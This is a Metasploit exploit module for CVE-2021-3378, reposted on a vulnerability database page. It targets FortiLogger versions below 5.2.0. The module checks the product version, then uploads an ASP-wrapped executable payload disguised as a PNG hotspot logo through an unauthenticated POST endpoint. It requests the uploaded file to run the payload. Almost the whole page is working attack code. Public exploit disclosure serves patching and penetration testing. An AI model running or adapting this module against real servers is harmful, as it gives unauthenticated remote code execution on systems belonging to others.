Sunday, March 28, 2021

FortiLogger Arbitrary File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiLogger Arbitrary File Upload Exploit',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
via insecure POST request. It has been tested on versions < 5.2.0 in
Windows 10 Enterprise.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Berkan Er <[email protected]>' # Vulnerability discovery, PoC and Metasploit module
],
'References' =>
[
['CVE', '2021-3378'],
['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
],

'Platform' => ['win'],
'Privileged' => false,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[
'FortiLogger < 5.2.0',
{
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2021-02-26',
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RPORT(5000),
OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
]
)
end

def check_product_info
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)
end

def check
begin
res = check_product_info

unless res
return CheckCode::Unknown('Target is unreachable.')
end

unless res.code == 200
return CheckCode::Unknown("Unexpected server response: #{res.code}")
end

version = Rex::Version.new(JSON.parse(res.body)['Version'])

if version <= Rex::Version.new('4.4.2.2')
CheckCode::Vulnerable("FortiLogger version #{version}")
else
CheckCode::Safe("FortiLogger version #{version}")
end
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
end
end

def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

def exploit
begin
print_good('Generate Payload')
data = create_payload

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)

unless res
fail_with(Failure::Unknown, 'No response from server')
end

unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end

json_res = begin
JSON.parse(res.body)
rescue JSON::ParserError
nil
end

if json_res.nil? || json_res['Message'] == 'Error in saving file'
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end

print_good('Payload has been uploaded')

handler

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end
rescue StandardError => e
fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
end
end
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated